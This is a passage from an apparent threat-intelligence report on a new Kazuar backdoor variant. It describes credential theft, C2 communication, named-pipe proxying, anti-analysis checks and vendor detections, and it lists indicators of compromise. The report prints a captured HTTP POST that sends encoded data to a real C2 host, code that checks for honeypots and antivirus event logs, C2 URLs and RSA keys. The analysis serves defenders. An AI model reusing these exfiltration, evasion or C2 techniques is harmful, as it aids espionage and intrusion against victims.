- Taking screenshots
- Stealing credentials (listed in full in the Appendix)
- Getting forensics data (see Appendix)
- Getting auto-runs data (see Appendix)
- Getting files from specified folders.
- Getting a list of LNK files
- Stealing emails using MAPI



```
| Autos maximal storage count | 200
| Autos minimal result size   | 2MB
| Autos maximal result size   | 5MB
| Autos collect with system   | false
| Autos do screenshots        | false
| Autos do deleted files      | false
| Autos do forensic data      | false
| Autos do autoruns data      | false
| Autos do folders list       | false
```

Figure 16. A snippet of Kazuar's configuration of the Autos function.

Monitoring Active Windows (Peeps)

Kazuar has the ability to let attackers set up what they called "peep rules" in the configuration. Although Kazuar does not come with these rules set out of the box, according to the malware's code, it appears that this functionality enables the attacker to monitor the windows of specified processes. This allows the attacker to track user activity of interest on the compromised machine.

Communication With the Command and Control

HTTP

Prior to establishing a communication channel with a C2 server, and in addition to the aforementioned anti-analysis checks, Kazuar checks the configuration data-sending time intervals. This check includes determining whether it should send data over the weekend or not.

Upon first communication, Kazuar sends the collected data (described in the Comprehensive System Profiling section) in an XML format and expects to get an XML structured response back with a new task. Figure 17 shows the HTTP request.

Kazuar uses a hard-coded value 169739e7-2112-9514-6a61-d300c0fef02d casted to a string and Base64 encoded as the cookie.



```
POST /wp-content/languages/index.php HTTP/1.1
Referer: https://www.pierreagencement.fr/
Content-Type: text/xml; charset=utf-8
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0
Host: www.pierreagencement.fr
Content-Length: 298016
Connection: Keep-Alive
Cookie:  AspNet.Cookies=MTY5NzM5ZTcyMTEyOTUxNDZhNjFkMzAwYzBmZWYwMmQ=

<dTbGXnRYVaCEW><FQWTHILoC>CfdgRLuc4x97QCTSuQ49Zuy9EASXUUY5rwDItqH/NGCRh0PKn1k6N1HPtkyQxfXja/S77
m+9YucEh+CLI1PLlub/nT8eYIJO+yq5K+nsoJtRjnQBA855Q3OjAyAohb4hcEsNbojpsW9q6iAhDXSm9j7xRg9nmq5qLrVe
h3PCQ1WohRKjXrQvDHXtUrcO7ODDweqTp2WXBz5UHihwVbzSavD0qH+2T7tUjy1i0RDBAkY84uAP6pRerU7EAXkG36g11G8
BIK6XCBHRZFjfNROA0IhN7vfUY4VXWuboU/G4LZ72HQjdZsAExwenzH108FfjVe6ovToPuZeW3kpxdtjcHvpm7kSkJg4CEt
QPv84V7paNrqDl8rSq8//yRtx8VqvdqyprpXvRRwLdRcZI4gFS4meYW4wCTVISSnhUkVJEN+WuwjjKe/5V0OYdB3C26Vrv7
UdCzee8fZ0kvqJ6rMjp4G/+Av3NnA3FTUI6A8tWHNTpRuFzWybJGZyyKg6FjoGW/rLH91RzvfY+i8s5ouitcQMqzuQ5Tpak
KeeC9wq6QEYharS+62M5nxX1B7NLqKG9Ekz0Rb52iBi2dwjzA72fnxUJxYXzgQ5mKGas49Wiqbrp716SleZXya3wmSryB0n
ujpyBZMfpCVGpuxqrGyAjrKxvhdEJX4isEBFoyuECjp6KTGE3iKUdpbTr+pcgUTGypOEfJmYK1+ixQJAzBl1FvudseykFk5
Fz/X54wfdrMv/4Z3jDBGqvtIYgVJ702iO9LNNGHHXW/RnlcHtups7Tx9zX6tgesc3xWu0mxkPTmfB4VWkk3L8pyo5zVk6E9
```

Figure 17. HTTP POST command with an XML in the body sent to the C2.

Kazuar generates key names for the XML and Base64 encrypts the content prior to sending it to the C2. The content of the XML contains:

- Encrypted content of the result file
- Result identifier
- Pseudorandom 4-byte numbers, probably another type of identifier
- An array with values pseudorandomly generated based on the machine's GUID
- The hard-coded GUID connection string 169739e7-2112-9514-6a61-d300c0fef02d
- The machine's unique GUID

Communication Using Named Pipes

In addition to direct HTTP communication with the C2, Kazuar has the ability to function as a proxy, to receive and send commands to other Kazuar agents in the infected network. It is doing this proxy communication via named pipes, generating their names based on the machine's GUID.

Kazuar uses these pipes to establish peer-to-peer communication between different Kazuar instances, configuring each as a server or a client. The named pipe communication supports the remote requests shown in Table 3.

Remote Request	Kazuar's Response	Description
PING	PONG	Return a message with the current instance process information
TASK	RESULT	Start a received task and return a result

LOGS	ERROR	Retrieve error logs

Table 3. Kazuar requests and responses using named pipes.

Anti-Analysis Checks

Kazuar uses multiple anti-analysis techniques based on a series of elaborate checks, to ensure it is not being analyzed. The authors programmed Kazuar to either continue if the coast is clear, or to remain idle and cease all C2 communication if it is being debugged or analyzed. We can group these checks into three main categories: honeypot, analysis tools and sandbox.

Anti-Dumping

Because Kazuar is not designed to run as a standalone process but rather lives injected within another process, dumping its code is possible from memory of the injected process. To prevent that from happening, Kazuar uses a powerful feature of .NET, which is the System.Reflection Namespace. This gives Kazuar the ability to gather real-time metadata about its assembly, methods and more.

Kazuar checks if it has set the antidump_methods setting to true, then overrides the pointers to its custom methods, while ignoring generic .NET methods, essentially wiping them from memory (as Kazuar's logged message states). This ultimately prevents researchers from dumping an intact version of the malware.

Honeypot Check

One of the first things Kazuar specifically searches for is the existence of Kaspersky honeypot artifacts on the machine. It uses a hard-coded list of specific process names and filenames to do this.

If Kazuar finds more than five of these files or processes, it will log that it found a Kaspersky honeypot. Figure 18 shows these filenames.



```
string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory);
Dictionary<string, bool> dictionary3 = new Dictionary<string, bool>();
dictionary3["financial_report.xls"] = false;
dictionary3["financial_report.ppt"] = false;
dictionary3["credit-report.pdf"] = false;
dictionary3["accounts.xlsx"] = false;
dictionary3["passwords.txt"] = false;
dictionary3["invoice.docx"] = false;
dictionary3["report.doc"] = false;
dictionary3["keys.txt"] = false;
dictionary3["пароли.txt"] = false;
dictionary3["отчёт.rtf"] = false;
dictionary3["отчёт.doc"] = false;
```

Figure 18. Filenames that Kazuar checks to find Kaspersky honeypot.

Analysis Tools Check

Kazuar has a list of hard-coded names of different popular analysis tools such as the following:

- Process Monitor
- X32dbg
- DnSpy
- Wireshark

It goes over the list of running processes, and if one of these tools is running, Kazuar will log that it found analysis tools (see Appendix).

Sandbox Check

Kazuar has a list of hard-coded known sandbox libraries. It checks for the presence of certain DLLs that belong to different sandbox services. If the malware finds these files, it determines that it is being executed in a lab (see Appendix).

Event Log Monitor

Kazuar collects and parses events from the Windows event logs. Figure 19 shows Kazuar specifically looking for events from the following antivirus/security vendors:

- Kaspersky Endpoint Security
- Symantec Endpoint Protection Client

- Microsoft Windows Defender
- Doctor Web

Same as with checking for Kaspersky's honeypot, a plausible explanation would be that these security products are popular with their victims.



```
Dictionary<string, string> dictionary = new Dictionary<string, string>();
dictionary["Kaspersky"] = "Kaspersky Endpoint Security";
dictionary["Symantec"] = "Symantec Endpoint Protection Client";
dictionary["Defender"] = "Microsoft-Windows-Windows Defender/Operational";
dictionary["DrWeb"] = "Doctor Web";
this.antiVirusDictionary = dictionary;
base.BF("EVEN");
```

Figure 19. Event logs that Kazuar collects from specific security products.

Strengthening Kazuar's Connection to Pensive Ursa

As mentioned above, when composing its initial HTTP POST request to its C2, Kazuar uses the machines GUID or a hard-coded GUID 169739e7-2112-9514-6a61-d300c0fef02d as a cookie, which is then type casted to string and Base64 encoded.

Searching the latter value in its string format (169739e7211295146a61d300c0fef02d) yields a report [PDF] by the Swiss CERT, which analyzes an attack carried out by Pensive Ursa against RUAG. RUAG Holding is a Swiss company from the aerospace and defense sector.

In addition, Kazuar's tasks and results architecture, including the hybrid AES + RSA encryption scheme and other clear similarities in functionality, are the very image of Carbon's modus operandi. It is mentioned both in the Swiss's CERT report and another report by ESET. Carbon is another second stage backdoor that was attributed multiple times to Pensive Ursa, whose code was a fork of Snake, as mentioned by CISA.

These findings, along with the reports by multiple CERTs, further support the previous Unit 42 assumptions proposing that Kazuar might be Carbon's successor. Most importantly, these findings strengthen the attribution of Kazuar to Pensive Ursa.

Conclusion

We examined the newest Kazuar malware variant that we detected in the wild. Notable features include the following:

- Robust code and string obfuscation techniques
- A multithreaded model for enhanced performance
- A range of encryption schemes implemented to safeguard Kazuar's code from analysis and to conceal its data whether in memory, during transmission or on disk

All the aforementioned features are designed to provide the Kazuar backdoor a high level of stealth. Other noteworthy characteristics of this malware are:

- Its anti-analysis functionalities
- Extensive system profiling capabilities
- The specific targeting of cloud applications

This version of Kazuar also supports an array of over 40 distinct commands, half of which were previously undocumented.

We encourage security practitioners and defenders to study this report and use the information provided to enhance current detection, prevention and hunting practices to overall strengthen their security posture.

Cortex XDR Detection and Prevention

Figure 20 shows Cortex XDR detected and prevented the execution of Kazuar. As detailed in the technical analysis section, by default Kazuar injects its code into explorer.exe. When configured to operate on detect mode, Cortex XDR detects the malicious activity originating from the injected explorer.exe, as depicted in Figure 20 below.



SEVERITY
High

DESCRIPTION
Suspicious execution of native code

Figure 20. Kazuar's detection, shown in Cortex XDR in detect mode.

Execution of native code by Kazuar for process injection and WMI execution triggered several alerts, as well as other suspicious and uncharacteristic activity carried out by explorer.exe. We detailed the alerts, including the alert shown in Figure 20, in Figure 21 below.



ALERT NAME	DESCRIPTION
Suspicious .NET Behavior - 3565683256	*Suspicious execution of native code*
System profiling WMI query execution	*A suspicious WMI query was executed on* [redacted] *by the process explorer.exe. Executed query: ...*
Uncommon DotNet module load relationship	*The signed process explorer.exe loaded a common DotNet module mscoree.dll. This behavior was seen on 0 h...*

Figure 21. Kazuar's execution alerts, shown in Cortex XDR in detect mode.

In addition, Figure 22 documents and details the directory and files that the malware created to store its configuration and logs.



ACTION_TYPE	FILE_PATH
File Write	C:\Users\[redacted]\AppData\Local\Microsoft\Windows\Shell\[redacted]
File Write	C:\Users\[redacted]\AppData\Local\Microsoft\Windows\Shell\[redacted]
File Create	C:\Users\[redacted]\AppData\Local\Microsoft\Windows\Shell\[redacted]
File Write	C:\Users\[redacted]\AppData\Local\Microsoft\Windows\Shell\[redacted]
File Write	C:\Users\[redacted]\AppData\Local\Microsoft\Windows\Shell\[redacted]
Create Directory Event	C:\Users\[redacted]\AppData\Local\Microsoft\Windows\Shell\[redacted]

Figure 22. Kazuar's execution alerts as seen in Cortex XDR on detect mode.

Finally, Figure 23 shows that when in prevent mode, Cortex XDR prevents the Kazuar malware executable and triggers the alert pop-up accordingly.



Cortex XDR Prevention Alert

Cortex XDR has blocked a malicious activity!

Application name:	Senatorial.exe
Application publisher:	**Unknown**
Prevention description:	Suspicious executable detected

Please contact your help desk for questions or additional information

Figure 23. Kazuar's execution prevention alert as seen in Cortex XDR on prevent mode.

Protections and Mitigations

The Cortex XDR platform detects and prevents the execution flow described in the screenshots included in the previous section.

In addition to the classic detection, the unique SmartScore engine translates security investigation methods and their associated data into a ML-driven hybrid risk scoring system. Figure 24 shows that the Kazuar variant and its related incident detailed in this blog scored 97 out of 100 by SmartScore.


SMARTSCORE™ 97

THE SCORE WAS SET BY SMARTSCORE DUE TO THE FOLLOWING REASONS

- A rare alert or a rare combination of alerts was detected
- Multiple alert types were detected
- Malware was detected
- Suspicious application behavior was detected by multiple detection engines
- The Cortex XDR agent prevented suspicious activity

THE SCORE IS BASED ON THE FOLLOWING INSIGHTS

The alert combination prevalence of this incident on this tenant was low (last 7 days)

The prevalence of incidents associated with these alerts on this tenant was low (last 7 days)

Alerts with these command lines on this tenant were seen rarely (last 7 days)

A file was found rarely on this tenant in comparison to other Cortex customers (last 30 days)

Score was set automatically by SmartScore
Give Feedback

Figure 24. The score given to Kazuar in SmartScore.

For Palo Alto Networks customers, our products and services provide the following coverage associated with this group.

Cortex XDR and XSIAM detect user and credential-based threats by analyzing user activity from multiple data sources including the following:

- Endpoints
- Network firewalls
- Active Directory
- Identity and access management solutions
- Cloud workloads

Cortex XDR and XSIAM build behavioral profiles of user activity over time with machine learning. By comparing new activity to past activity, peer activity and the expected behavior of the entity, Cortex XDR and XSIAM detect anomalous activity indicative of credential-based attacks.

It also offers the following protections related to the attacks discussed in this post:

- Prevents the execution of known malicious malware and also prevents the execution of unknown malware using Behavioral Threat Protection and machine learning based on the Local Analysis module
- Protects against credential gathering tools and techniques using the new Credential Gathering Protection available from Cortex XDR 3.4
- Protects against exploitation of different vulnerabilities including ProxyShell and ProxyLogon using the Anti-Exploitation modules as well as Behavioral Threat Protection
- Cortex XDR Pro and XSIAM detect postexploit activity, including credential-based attacks, with behavioral analytics
- Next-Generation Firewall with the Advanced Threat Prevention security subscription can help block the malware C2 traffic via the following Threat Prevention signature: 86805
- The Advanced WildFire machine-learning models and analysis techniques have been reviewed and updated in light of this new Kazuar variant. Multiple products in the Palo Alto Networks portfolio leverage Advanced WildFire to provide coverage against Kazuar variants and other threats.

If you think you might have been impacted or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:

- North America Toll-Free: 866.486.4842 (866.4.UNIT42)
- EMEA: +31.20.299.3130
- APAC: +65.6983.8730
- Japan: +81.50.1790.0200

Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.

Indicators of Compromise

Kazuar SHA256

- 91dc8593ee573f3a07e9356e65e06aed58d8e74258313e3414a7de278b3b5233

Command and Control Servers

- hxxps://www.pierreagencement[.]fr/wp-content/languages/index.php
- hxxps://sansaispa[.]com/wp-includes/images/gallery/
- hxxps://octoberoctopus.co[.]za/wp-includes/sitemaps/web/

RSA Keys

- <RSAKeyValue>
  <Modulus>7ondEZo8ZjYh+FP4h3PgJBU/yTlO+g8ZbCF0wx8eocnqxLS4YWI9hG3SI2hlEBz6J4vvxPCrs/jazekolaZLQnbyOCyH53I+W
  </Modulus><Exponent>AQAB</Exponent></RSAKeyValue>
- <RSAKeyValue>
  <Modulus>pyR0/srVS0gOZbNdK3iK+GvekQVkBq8brOVCuN/XcCz4WLJod9GhivDYrDtMXF6ZMGHKa2zAcQ+v2vltYW3X2BYCZ1sbl
  </Modulus><Exponent>AQAB</Exponent></RSAKeyValue>

Additional References